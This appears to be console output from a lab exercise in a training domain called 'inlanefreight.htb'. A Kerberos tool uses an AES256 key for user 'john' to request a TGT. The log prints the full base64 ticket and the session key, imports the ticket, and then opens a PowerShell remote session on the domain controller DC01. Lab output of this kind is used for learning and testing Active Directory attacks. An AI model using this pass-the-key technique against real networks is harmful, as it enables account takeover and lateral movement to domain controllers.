[\*] Using aes256\_cts\_hmac\_sha1 hash: 9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc  
[\*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\john'  
[\*] Using domain controller: 10.129.203.120:88  
[+] TGT request successful!  
[\*] base64(ticket.kirbi):  
  
 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  
 ZWZyZWlnaHQuaHRi  
[+] Ticket successfully imported!  
  
 ServiceName : krbtgt/inlanefreight.htb  
 ServiceRealm : INLANEFREIGHT.HTB  
 UserName : john  
 UserRealm : INLANEFREIGHT.HTB  
 StartTime : 7/18/2022 5:44:50 AM  
 EndTime : 7/18/2022 3:44:50 PM  
 RenewTill : 7/25/2022 5:44:50 AM  
 Flags : name\_canonicalize, pre\_authent, initial, renewable, forwardable  
 KeyType : aes256\_cts\_hmac\_sha1  
 Base64(key) : 5VdAaevnpxx/f9rXsDDLfK6tH+4qQ3f1GlOB1ClBWh0=  
 ASREP (key) : 9279BCBD40DB957A0ED0D3856B2E67F9BB58E6DC7FC07207D0763CE2713F11DC  
  
c:\tools>powershell  
Windows PowerShell  
Copyright (C) 2015 Microsoft Corporation. All rights reserved.  
  
PS C:\tools> Enter-PSSession -ComputerName DC01  
[DC01]: PS C:\Users\john\Documents> whoami  
inlanefreight\john  
[DC01]: PS C:\Users\john\Documents> hostname  
DC01